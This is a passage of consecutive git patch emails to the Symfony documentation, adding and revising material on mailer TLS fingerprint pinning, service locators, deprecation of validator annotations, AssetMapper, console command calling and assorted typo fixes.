+        use Symfony\Component\HttpFoundation\Response;
         use Symfony\Component\Routing\Annotation\Route;
 
         class BlogController extends AbstractController

From dbfcbb195ff7062d4dfcf223b216caa222a82893 Mon Sep 17 00:00:00 2001
From: xdavidwu <xdavidwuph@gmail.com>
Date: Tue, 22 Aug 2023 13:58:18 +0800
Subject: [PATCH 3675/5766] [Mailer][Smtp] Add DSN param `peer_fingerprint` for
 fingerprint verification

documentation for symfony/symfony#51450
---
 mailer.rst | 11 +++++++++++
 1 file changed, 11 insertions(+)

diff --git a/mailer.rst b/mailer.rst
index 8dc952f2fb9..feced29523b 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -334,6 +334,17 @@ the application or when using a self-signed certificate::
 
     $dsn = 'smtp://user:pass@smtp.example.com?verify_peer=0';
 
+TLS Peer Fingerprint Verification
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Additional fingerprint verification can be enforced with the ``peer_fingerprint``
+option. This is especially useful when a self-signed certificate is used and
+disabling ``verify_peer`` is needed, but security is still desired. Fingerprint
+may be specified in sha1 (40 characters) or md5 (32 characters)::
+
+    $dsn = 'smtp://user:pass@smtp.example.com?peer_fingerprint=6A1CF3B08D175A284C30BC10DE19162307C7286E';
+
+
 Overriding default SMTP authenticators
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From 408bf9534c51cc3ee5b3e1c56376e7cae903bdb2 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 21 Aug 2023 15:04:45 +0200
Subject: [PATCH 3676/5766] [DependencyInjection] Add `#[AutowireLocator]`
 attribute

---
 reference/attributes.rst                      |  1 +
 .../service_subscribers_locators.rst          | 76 +++++++++++++++++++
 2 files changed, 77 insertions(+)

diff --git a/reference/attributes.rst b/reference/attributes.rst
index 761099a7356..e8825e6d30e 100644
--- a/reference/attributes.rst
+++ b/reference/attributes.rst
@@ -38,6 +38,7 @@ Dependency Injection
 * :ref:`Autowire <autowire-attribute>`
 * :ref:`AutowireCallable <autowiring_closures>`
 * :doc:`AutowireDecorated </service_container/service_decoration>`
+* :ref:`AutowireLocator <service-locator_autowire-locator>`
 * :ref:`AutowireServiceClosure <autowiring_closures>`
 * :ref:`Exclude <service-psr4-loader>`
 * :ref:`TaggedIterator <tags_reference-tagged-services>`
diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index 4dabc22e0f3..85dc9fdbaeb 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -297,6 +297,82 @@ This is done by having ``getSubscribedServices()`` return an array of
 
     The above example requires using ``3.2`` version or newer of ``symfony/service-contracts``.
 
+.. _service-locator_autowire-locator:
+
+The AutowireLocator attribute
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Another way to define a service locator is to use the
+:class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireLocator`
+attribute::
+
+    // src/CommandBus.php
+    namespace App;
+
+    use App\CommandHandler\BarHandler;
+    use App\CommandHandler\FooHandler;
+    use Psr\Container\ContainerInterface;
+    use Symfony\Component\DependencyInjection\Attribute\AutowireLocator;
+
+    class CommandBus
+    {
+        public function __construct(
+            #[AutowireLocator(FooHandler::class, BarHandler::class)]
+            private ContainerInterface $locator,
+        ) {
+        }
+
+        public function handle(Command $command): mixed
+        {
+            $commandClass = get_class($command);
+
+            if ($this->locator->has($commandClass)) {
+                $handler = $this->locator->get($commandClass);
+
+                return $handler->handle($command);
+            }
+        }
+    }
+
+Just like with the ``getSubscribedServices()`` method, it is possible
+to define aliased services thanks to named arguments, as well as optional
+services::
+
+    // src/CommandBus.php
+    namespace App;
+
+    use App\CommandHandler\BarHandler;
+    use App\CommandHandler\BazHandler;
+    use App\CommandHandler\FooHandler;
+    use Psr\Container\ContainerInterface;
+    use Symfony\Component\DependencyInjection\Attribute\AutowireLocator;
+
+    class CommandBus
+    {
+        public function __construct(
+            #[AutowireLocator(
+                fooHandlerAlias: FooHandler::class,
+                barHandlerAlias: BarHandler::class,
+                optionalBazHandlerAlias: '?'.BazHandler::class
+            )]
+            private ContainerInterface $locator,
+        ) {
+        }
+
+        public function handle(Command $command): mixed
+        {
+            $fooHandler = $this->locator->get('fooHandlerAlias');
+
+            // ...
+        }
+    }
+
+.. versionadded:: 6.4
+
+    The
+    :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireLocator`
+    attribute was introduced in Symfony 6.4.
+
 .. _service-subscribers-locators_defining-service-locator:
 
 Defining a Service Locator

From 597644ada38a5ab3481d30ce2da1cc9b461c1120 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 22 Aug 2023 19:21:10 +0200
Subject: [PATCH 3677/5766] [Validator] Deprecate annotations

---
 components/validator/resources.rst    | 48 +++++++++++++++++++++++++--
 form/unit_testing.rst                 |  2 +-
 reference/configuration/framework.rst | 24 ++++++++++++++
 3 files changed, 70 insertions(+), 4 deletions(-)

diff --git a/components/validator/resources.rst b/components/validator/resources.rst
index 5dfacd3e48f..3d10c28518d 100644
--- a/components/validator/resources.rst
+++ b/components/validator/resources.rst
@@ -86,7 +86,14 @@ configure the locations of these files::
 The AnnotationLoader
 --------------------
 
-At last, the component provides an
+.. deprecated:: 6.4
+
+    The :class:`Symfony\\Component\\Validator\\Mapping\\Loader\\AnnotationLoader`
+    is deprecated since Symfony 6.4, use the
+    :class:`Symfony\\Component\\Validator\\Mapping\\Loader\\AttributeLoader`
+    instead.
+
+The component provides an
 :class:`Symfony\\Component\\Validator\\Mapping\\Loader\\AnnotationLoader` to get
 the metadata from the annotations of the class. Annotations are defined as ``@``
 prefixed classes included in doc block comments (``/** ... */``). For example::
@@ -121,8 +128,44 @@ If you use annotations instead of attributes, it's also required to call
 To disable the annotation loader after it was enabled, call
 :method:`Symfony\\Component\\Validator\\ValidatorBuilder::disableAnnotationMapping`.
 
+.. deprecated:: 6.4
+
+    The :method:`Symfony\\Component\\Validator\\ValidatorBuilder::enableAnnotationMapping`
+    and :method:`Symfony\\Component\\Validator\\ValidatorBuilder::disableAnnotationMapping`
+    methods are deprecated since Symfony 6.4, use the
+    :method:`Symfony\\Component\\Validator\\ValidatorBuilder::enableAttributeMapping`
+    and :method:`Symfony\\Component\\Validator\\ValidatorBuilder::disableAttributeMapping`
+    methods instead.
+
 .. include:: /_includes/_annotation_loader_tip.rst.inc
 
+The AttributeLoader
+-------------------
+
+.. versionadded:: 6.4
+
+    The :class:`Symfony\\Component\\Validator\\Mapping\\Loader\\AttributeLoader`
+    was introduced in Symfony 6.4.
+
+The component provides an
+:class:`Symfony\\Component\\Validator\\Mapping\\Loader\\AttributeLoader` to get
+the metadata from the attributes of the class. For example::
+
+    use Symfony\Component\Validator\Constraints as Assert;
+    // ...
+
+    class User
+    {
+        #[Assert\NotBlank]
+        protected string $name;
+    }
+
+To enable the attribute loader, call the
+:method:`Symfony\\Component\\Validator\\ValidatorBuilder::enableAttributeMapping` method.
+
+To disable the annotation loader after it was enabled, call
+:method:`Symfony\\Component\\Validator\\ValidatorBuilder::disableAttributeMapping`.
+
 Using Multiple Loaders
 ----------------------
 
@@ -136,8 +179,7 @@ multiple mappings::
     use Symfony\Component\Validator\Validation;
 
     $validator = Validation::createValidatorBuilder()
-        ->enableAnnotationMapping(true)
-        ->addDefaultDoctrineAnnotationReader()
+        ->enableAttributeMapping()
         ->addMethodMapping('loadValidatorMetadata')
         ->addXmlMapping('validator/validation.xml')
         ->getValidator();
diff --git a/form/unit_testing.rst b/form/unit_testing.rst
index f6a44cc3346..0cff565be00 100644
--- a/form/unit_testing.rst
+++ b/form/unit_testing.rst
@@ -216,7 +216,7 @@ allows you to return a list of extensions to register::
 
             // or if you also need to read constraints from annotations
             $validator = Validation::createValidatorBuilder()
-                ->enableAnnotationMapping(true)
+                ->enableAttributeMapping()
                 ->getValidator();
 
             return [
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index cfbef6f46aa..ae1e43ef1e1 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2671,6 +2671,18 @@ enable_annotations
 
 If this option is enabled, validation constraints can be defined using annotations or attributes.
 
+.. deprecated:: 6.4
+
+    This option is deprecated since Symfony 6.4, use the ``enable_attributes``
+    option instead.
+
+enable_attributes
+.................
+
+**type**: ``boolean`` **default**: ``true``
+
+If this option is enabled, validation constraints can be defined using attributes.
+
 translation_domain
 ..................
 
@@ -2862,6 +2874,18 @@ enable_annotations
 
 If this option is enabled, serialization groups can be defined using annotations or attributes.
 
+.. deprecated:: 6.4
+
+    This option is deprecated since Symfony 6.4, use the ``enable_attributes``
+    option instead.
+
+enable_attributes
+.................
+
+**type**: ``boolean`` **default**: ``true``
+
+If this option is enabled, serialization groups can be defined using attributes.
+
 .. seealso::
 
     For more information, see :ref:`serializer-using-serialization-groups-attributes`.

From 2b29113da60a7116a9f3a7cde194c862b4da53df Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Pawe=C5=82=20Tekli=C5=84ski?= <pawel@teklinski.info>
Date: Thu, 24 Aug 2023 00:41:15 +0200
Subject: [PATCH 3678/5766] [Serializer] Use correct property types in example

---
 components/serializer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index e8646ac3294..e5dcc4e849a 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -401,7 +401,7 @@ It is also possible to serialize only a set of specific attributes::
     {
         public string $familyName;
         public string $givenName;
-        public string $company;
+        public Company $company;
     }
 
     class Company

From d7548895b412bc5bd0f9c60be8afe125d47000b7 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Pawe=C5=82=20Tekli=C5=84ski?= <pawel@teklinski.info>
Date: Thu, 24 Aug 2023 00:50:12 +0200
Subject: [PATCH 3679/5766] [Serializer] Fix the subject agreement mistake -
 grammar

---
 components/serializer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index 29c008ce2c4..481a48efea6 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -459,7 +459,7 @@ It is also possible to serialize only a set of specific attributes::
 Only attributes that are not ignored (see below) are available.
 If some serialization groups are set, only attributes allowed by those groups can be used.
 
-As for groups, attributes can be selected during both the serialization and deserialization process.
+As for groups, attributes can be selected during both the serialization and deserialization processes.
 
 .. _serializer_ignoring-attributes:
 

From 978f1dcde68ae0972340cf2690efd3636305014b Mon Sep 17 00:00:00 2001
From: jmsche <contact@jmsche.fr>
Date: Thu, 24 Aug 2023 12:32:35 +0200
Subject: [PATCH 3680/5766] [AssetMapper] Add docs for the importmap:install
 command

---
 frontend/asset_mapper.rst | 7 +++++--
 1 file changed, 5 insertions(+), 2 deletions(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 17a80af3fce..5cdd8340bb7 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -233,8 +233,11 @@ If you want to download the package locally, use the ``--download`` option:
     $ php bin/console importmap:require bootstrap --download
 
 This will download the package into an ``assets/vendor/`` directory and update
-the ``importmap.php`` file to point to it. You *should* commit this file to
-your repository.
+the ``importmap.php`` file to point to it. You can either commit this directory
+to your repository, or ignore the directory in your ``.gitignore`` config file.
+If the directory is ignored, you can run the
+``php bin/console importmap:install`` command to download the files on other
+computers if some files are missing.
 
 .. note::
 

From 2b248d478cdabfbc4fc39e7e8af9dca0946fab7c Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 24 Aug 2023 22:16:53 +0200
Subject: [PATCH 3681/5766] Minor

---
 routing.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/routing.rst b/routing.rst
index 3b31d7dca13..6b39604eed0 100644
--- a/routing.rst
+++ b/routing.rst
@@ -90,6 +90,7 @@ do so, create a :doc:`controller class </controller>` like the following:
         namespace App\Controller;
 
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\HttpFoundation\Response;
         use Symfony\Component\Routing\Annotation\Route;
 
         class BlogController extends AbstractController

From 874291a9ed3d054bf262f89d5384f6e14898c0fb Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 24 Aug 2023 22:22:55 +0200
Subject: [PATCH 3682/5766] Minor

---
 components/serializer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index 9e8838a37ee..6a3f924e585 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -400,7 +400,7 @@ It is also possible to serialize only a set of specific attributes::
     {
         public string $familyName;
         public string $givenName;
-        public string $company;
+        public Company $company;
     }
 
     class Company

From adb878680c7df174c5d0b68e9fa544200a73632a Mon Sep 17 00:00:00 2001
From: Damien Carrier <damien.carrier@alximy.io>
Date: Fri, 25 Aug 2023 14:01:40 +0200
Subject: [PATCH 3683/5766] [Server] Fix typo in Symfony Local Web Server page

---
 setup/symfony_server.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index c89a3e23f2a..a12feb7a5c4 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -60,7 +60,7 @@ run the Symfony server in the background:
 
     On macOS, when starting the Symfony server you might see a warning dialog asking
     *"Do you want the application to accept incoming network connections?"*.
-    This happens when running unsigned appplications that are not listed in the
+    This happens when running unsigned applications that are not listed in the
     firewall list. The solution is to run this command that signs the Symfony binary:
 
     .. code-block:: terminal

From ab647bf2ed6e56d0a81c2a2a331cb88f045ebf43 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sun, 27 Aug 2023 14:28:47 +0200
Subject: [PATCH 3684/5766] Missing information about payload in callback

---
 reference/constraints/Callback.rst | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/reference/constraints/Callback.rst b/reference/constraints/Callback.rst
index e3f68c2b788..ea870683cc1 100644
--- a/reference/constraints/Callback.rst
+++ b/reference/constraints/Callback.rst
@@ -304,11 +304,12 @@ callback method:
 * A closure.
 
 Concrete callbacks receive an :class:`Symfony\\Component\\Validator\\Context\\ExecutionContextInterface`
-instance as only argument.
+instance as the first argument and the :ref:`payload option <payload>` as the second argument.
 
 Static or closure callbacks receive the validated object as the first argument
-and the :class:`Symfony\\Component\\Validator\\Context\\ExecutionContextInterface`
-instance as the second argument.
+, the :class:`Symfony\\Component\\Validator\\Context\\ExecutionContextInterface`
+instance as the second argument and the :ref:`payload option <payload>` as the
+third argument.
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 

From ebeb5ecd41ade61e4969c5e2e1e730afa9c6bc64 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 28 Aug 2023 08:56:43 +0200
Subject: [PATCH 3685/5766] Minor tweak

---
 templates.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/templates.rst b/templates.rst
index 78289802649..3aeacce79a4 100644
--- a/templates.rst
+++ b/templates.rst
@@ -604,7 +604,7 @@ to define the template to render::
 
     The ``#[Template()]`` attribute was introduced in Symfony 6.2.
 
-The ``AbstractController`` also provides the
+The :ref:`base AbstractController <the-base-controller-classes-services>` also provides the
 :method:`Symfony\\Bundle\\FrameworkBundle\\Controller\\AbstractController::renderBlock`
 and :method:`Symfony\\Bundle\\FrameworkBundle\\Controller\\AbstractController::renderBlockView`
 methods::

From 2261395a499b653f0058cec11c82557bcf2393c1 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 28 Aug 2023 09:17:14 +0200
Subject: [PATCH 3686/5766] Minor tweak

---
 reference/configuration/framework.rst | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index ae1e43ef1e1..476c0406034 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2669,7 +2669,7 @@ enable_annotations
 
 **type**: ``boolean`` **default**: ``true``
 
-If this option is enabled, validation constraints can be defined using annotations or attributes.
+If this option is enabled, validation constraints can be defined using annotations or `PHP attributes`_.
 
 .. deprecated:: 6.4
 
@@ -2681,7 +2681,7 @@ enable_attributes
 
 **type**: ``boolean`` **default**: ``true``
 
-If this option is enabled, validation constraints can be defined using attributes.
+If this option is enabled, validation constraints can be defined using `PHP attributes`_.
 
 translation_domain
 ..................
@@ -2884,7 +2884,7 @@ enable_attributes
 
 **type**: ``boolean`` **default**: ``true``
 
-If this option is enabled, serialization groups can be defined using attributes.
+If this option is enabled, serialization groups can be defined using `PHP attributes`_.
 
 .. seealso::
 
@@ -3850,3 +3850,4 @@ the ``#[WithLogLevel]`` attribute::
 .. _`utf-8 modifier`: https://www.php.net/reference.pcre.pattern.modifiers
 .. _`Link HTTP header`: https://tools.ietf.org/html/rfc5988
 .. _`SMTP session`: https://en.wikipedia.org/wiki/Simple_Mail_Transfer_Protocol#SMTP_transport_example
+.. _`PHP attributes`: https://www.php.net/manual/en/language.attributes.overview.php

From 46923d0dccc92ecb1e7f61b081ebcb87fdeccadb Mon Sep 17 00:00:00 2001
From: Jules Pietri <heahdude@yahoo.fr>
Date: Fri, 18 Aug 2023 10:05:52 +0200
Subject: [PATCH 3687/5766] [Mailer] Fix attachment changes

---
 mailer.rst | 21 +++++++++------------
 1 file changed, 9 insertions(+), 12 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index b45dc37e7f2..3ea6113c6c2 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -549,7 +549,8 @@ result of rendering some template) or PHP resources::
 File Attachments
 ~~~~~~~~~~~~~~~~
 
-Use the ``addPart()`` method with a ``BodyFile`` to add files that exist on your file system::
+Use the ``addPart()`` method with a ``File`` to add files that exist on your
+file system::
 
     use Symfony\Component\Mime\Part\DataPart;
     use Symfony\Component\Mime\Part\File;
@@ -564,7 +565,8 @@ Use the ``addPart()`` method with a ``BodyFile`` to add files that exist on your
         ->addPart(new DataPart(new File('/path/to/documents/contract.doc'), 'Contract', 'application/msword'))
     ;
 
-Alternatively you can attach contents from a stream by passing it directly to the ``DataPart`` ::
+Alternatively you can attach contents from a stream by passing it directly to
+the ``DataPart``::
 
     $email = (new Email())
         // ...
@@ -573,9 +575,9 @@ Alternatively you can attach contents from a stream by passing it directly to th
 
 .. deprecated:: 6.2
 
-    In Symfony versions previous to 6.2, the methods ``attachFromPath()`` and
-    ``attach()`` could be used to add attachments. These methods have been
-    deprecated and replaced with ``addPart()``.
+    In Symfony versions previous to 6.2, the method ``attachPart()`` could be
+    used to add attachments. This method has been deprecated and replaced
+    with ``addPart()``.
 
 Embedding Images
 ~~~~~~~~~~~~~~~~
@@ -616,13 +618,8 @@ images inside the HTML contents::
 
 .. versionadded:: 6.1
 
-    The support of embedded images as HTML backgrounds was introduced in Symfony 6.1.
-
-.. deprecated:: 6.2
-
-    In Symfony versions previous to 6.2, the methods ``embedFromPath()`` and
-    ``embed()`` could be used to embed images. These methods have been deprecated
-    and replaced with ``addPart()`` together with inline ``DataPart`` objects.
+    The support of embedded images as HTML backgrounds was introduced in Symfony
+    6.1.
 
 .. _mailer-configure-email-globally:
 

From fa31e9330cf0620398f95a27dc9b76da9d3bab49 Mon Sep 17 00:00:00 2001
From: Florian <flohw@users.noreply.github.com>
Date: Fri, 25 Aug 2023 08:56:12 +0200
Subject: [PATCH 3688/5766] Clearer difference with max and quiet options

---
 components/phpunit_bridge.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index 288989dcd87..24562236be5 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -325,6 +325,10 @@ It's also possible to change verbosity per deprecation type. For example, using
 ``quiet[]=indirect&quiet[]=other`` will hide details for deprecations of types
 "indirect" and "other".
 
+Note that `quiet` hides details for the specified deprecation types, but will
+not change the outcome in terms of exit code. That's what :ref:`max <making-tests-fail>` is for, and both
+settings are orthogonal.
+
 .. versionadded:: 5.1
 
     The ``quiet`` option was introduced in Symfony 5.1.

From c2f7a56ba223631aa50f75e6118e58aeaaab33fc Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 28 Aug 2023 09:34:58 +0200
Subject: [PATCH 3689/5766] Minor tweaks

---
 components/phpunit_bridge.rst | 8 +++++---
 1 file changed, 5 insertions(+), 3 deletions(-)

diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index 24562236be5..b1965cca0d6 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -215,6 +215,8 @@ message, enclosed with ``/``. For example, with:
 `PHPUnit`_ will stop your test suite once a deprecation notice is triggered whose
 message contains the ``"foobar"`` string.
 
+.. _making-tests-fail:
+
 Making Tests Fail
 ~~~~~~~~~~~~~~~~~
 
@@ -325,9 +327,9 @@ It's also possible to change verbosity per deprecation type. For example, using
 ``quiet[]=indirect&quiet[]=other`` will hide details for deprecations of types
 "indirect" and "other".
 
-Note that `quiet` hides details for the specified deprecation types, but will
-not change the outcome in terms of exit code. That's what :ref:`max <making-tests-fail>` is for, and both
-settings are orthogonal.
+The ``quiet`` option hides details for the specified deprecation types, but will
+not change the outcome in terms of exit code. That's what :ref:`max <making-tests-fail>`
+is for, and both settings are orthogonal.
 
 .. versionadded:: 5.1
 

From 5909e6b5e6bcd5d4d61c4aa69d18139688ee00ee Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 28 Aug 2023 09:47:54 +0200
Subject: [PATCH 3690/5766] Tweaks

---
 frontend/asset_mapper.rst | 5 ++---
 1 file changed, 2 insertions(+), 3 deletions(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 5cdd8340bb7..c98d67ad6c4 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -233,9 +233,8 @@ If you want to download the package locally, use the ``--download`` option:
     $ php bin/console importmap:require bootstrap --download
 
 This will download the package into an ``assets/vendor/`` directory and update
-the ``importmap.php`` file to point to it. You can either commit this directory
-to your repository, or ignore the directory in your ``.gitignore`` config file.
-If the directory is ignored, you can run the
+the ``importmap.php`` file to point to it. It's recommended to ignore this
+directory and not commit it to your repository. Therefore, you'll need to run the
 ``php bin/console importmap:install`` command to download the files on other
 computers if some files are missing.
 

From 25ae438d23ea4e8d702f425483ae4d869b58cd0c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 28 Aug 2023 09:49:28 +0200
Subject: [PATCH 3691/5766] Add the versionadded directive

---
 frontend/asset_mapper.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index c98d67ad6c4..b52e210ef6f 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -238,6 +238,10 @@ directory and not commit it to your repository. Therefore, you'll need to run th
 ``php bin/console importmap:install`` command to download the files on other
 computers if some files are missing.
 
+.. versionadded:: 6.4
+
+    The ``importmap:install`` command was introduced in Symfony 6.4.
+
 .. note::
 
     Sometimes, a package - like ``bootstrap`` - will have one or more dependencies,

From e0d1b355cf4e8d00231a91b16f4e2cc3bd82fa04 Mon Sep 17 00:00:00 2001
From: Jules Pietri <heahdude@yahoo.fr>
Date: Fri, 11 Aug 2023 17:26:11 +0200
Subject: [PATCH 3692/5766] [Console] Improve console events doc

---
 components/console/events.rst |  7 ++++---
 console.rst                   |  6 ++++++
 console/calling_commands.rst  | 34 +++++++++++++++++++++-------------
 3 files changed, 31 insertions(+), 16 deletions(-)

diff --git a/components/console/events.rst b/components/console/events.rst
index dc03a8a88d9..45f228e7399 100644
--- a/components/console/events.rst
+++ b/components/console/events.rst
@@ -17,7 +17,8 @@ the wheel, it uses the Symfony EventDispatcher component to do the work::
 .. caution::
 
     Console events are only triggered by the main command being executed.
-    Commands called by the main command will not trigger any event.
+    Commands called by the main command will not trigger any event, unless
+    run by the application itself, see :doc:`/console/calling_commands`.
 
 The ``ConsoleEvents::COMMAND`` Event
 ------------------------------------
@@ -171,10 +172,10 @@ Listeners receive a
     use Symfony\Component\Console\Event\ConsoleSignalEvent;
 
     $dispatcher->addListener(ConsoleEvents::SIGNAL, function (ConsoleSignalEvent $event) {
-       
+
         // gets the signal number
         $signal = $event->getHandlingSignal();
-        
+
         if (\SIGINT === $signal) {
             echo "bye bye!";
         }
diff --git a/console.rst b/console.rst
index 28b560d1f9b..6f74c2e657e 100644
--- a/console.rst
+++ b/console.rst
@@ -574,6 +574,12 @@ registers an :doc:`event subscriber </event_dispatcher>` to listen to the
 :ref:`ConsoleEvents::TERMINATE event <console-events-terminate>` and adds a log
 message whenever a command doesn't finish with the ``0`` `exit status`_.
 
+Using Events And Handling Signals
+---------------------------------
+
+When a command is running, many events are dispatched, one of them allows to
+react to signals, read more in :doc:`this section </components/console/events>`.
+
 Learn More
 ----------
 
diff --git a/console/calling_commands.rst b/console/calling_commands.rst
index 1a9cce4e6c3..35d388965ad 100644
--- a/console/calling_commands.rst
+++ b/console/calling_commands.rst
@@ -8,13 +8,13 @@ or if you want to create a "meta" command that runs a bunch of other commands
 changed on the production servers: clearing the cache, generating Doctrine
 proxies, dumping web assets, ...).
 
-Use the :method:`Symfony\\Component\\Console\\Application::find` method to
-find the command you want to run by passing the command name. Then, create a
-new :class:`Symfony\\Component\\Console\\Input\\ArrayInput` with the
-arguments and options you want to pass to the command.
+Use the :method:`Symfony\\Component\\Console\\Application::doRun`. Then, create
+a new :class:`Symfony\\Component\\Console\\Input\\ArrayInput` with the
+arguments and options you want to pass to the command. The command name must be
+the first argument.
 
-Eventually, calling the ``run()`` method actually runs the command and returns
-the returned code from the command (return value from command's ``execute()``
+Eventually, calling the ``doRun()`` method actually runs the command and returns
+the returned code from the command (return value from command ``execute()``
 method)::
 
     // ...
@@ -29,15 +29,14 @@ method)::
 
         protected function execute(InputInterface $input, OutputInterface $output): int
         {
-            $command = $this->getApplication()->find('demo:greet');
-
-            $arguments = [
+            $greetInput = new ArrayInput([
+                // the command name is passed as first argument
+                'command' => 'demo:greet',
                 'name'    => 'Fabien',
                 '--yell'  => true,
-            ];
+            ]);
 
-            $greetInput = new ArrayInput($arguments);
-            $returnCode = $command->run($greetInput, $output);
+            $returnCode = $this->getApplication()->doRun($greetInput, $output);
 
             // ...
         }
@@ -47,7 +46,16 @@ method)::
 
     If you want to suppress the output of the executed command, pass a
     :class:`Symfony\\Component\\Console\\Output\\NullOutput` as the second
-    argument to ``$command->run()``.
+    argument to ``$application->doRun()``.
+
+.. note::
+
+    Using ``doRun()`` instead of ``run()`` prevents autoexiting and allows to
+    return the exit code instead.
+
+    Also, using ``$this->getApplication()->doRun()`` instead of
+    ``$this->getApplication()->find('demo:greet')->run()`` will allow proper
+    events to be dispatched for that inner command as well.
 
 .. caution::
 

From 8c32fd00cfdf8cf02d63213a0cda7cb88db570c0 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 28 Aug 2023 10:51:03 +0200
Subject: [PATCH 3693/5766] Tweaks

---
 page_creation.rst | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/page_creation.rst b/page_creation.rst
index c7cdb533c3a..24735ffbc85 100644
--- a/page_creation.rst
+++ b/page_creation.rst
@@ -89,7 +89,7 @@ Annotation Routes
 
 Instead of defining your route in YAML, Symfony also allows you to use *annotation*
 or *attribute* routes. Attributes are built-in in PHP starting from PHP 8. In earlier
-PHP versions you can use annotations. To do this, install the annotations package:
+PHP versions you can use annotations, which require installing this package:
 
 .. code-block:: terminal
 
@@ -108,9 +108,9 @@ You can now add your route directly *above* the controller:
 
         class LuckyController
         {
-        +   /**
-        +    * @Route("/lucky/number")
-        +    */
+            /**
+             * @Route("/lucky/number")
+             */
             public function number(): Response
             {
                 // this looks exactly the same
@@ -122,11 +122,11 @@ You can now add your route directly *above* the controller:
         // src/Controller/LuckyController.php
 
         // ...
-        + use Symfony\Component\Routing\Annotation\Route;
+        use Symfony\Component\Routing\Annotation\Route;
 
         class LuckyController
         {
-        +   #[Route('/lucky/number')]
+            #[Route('/lucky/number')]
             public function number(): Response
             {
                 // this looks exactly the same

From 61fcb40c53d12328d2658747cfa05de4acf1a510 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 28 Aug 2023 11:58:45 +0200
Subject: [PATCH 3694/5766] Tweaks

---
 reference/constraints/Callback.rst            | 11 ++++++-----
 reference/constraints/_payload-option.rst.inc |  2 ++
 2 files changed, 8 insertions(+), 5 deletions(-)

diff --git a/reference/constraints/Callback.rst b/reference/constraints/Callback.rst
index ea870683cc1..2dbfa7657a5 100644
--- a/reference/constraints/Callback.rst
+++ b/reference/constraints/Callback.rst
@@ -304,12 +304,13 @@ callback method:
 * A closure.
 
 Concrete callbacks receive an :class:`Symfony\\Component\\Validator\\Context\\ExecutionContextInterface`
-instance as the first argument and the :ref:`payload option <payload>` as the second argument.
+instance as the first argument and the :ref:`payload option <reference-constraints-payload>`
+as the second argument.
 
-Static or closure callbacks receive the validated object as the first argument
-, the :class:`Symfony\\Component\\Validator\\Context\\ExecutionContextInterface`
-instance as the second argument and the :ref:`payload option <payload>` as the
-third argument.
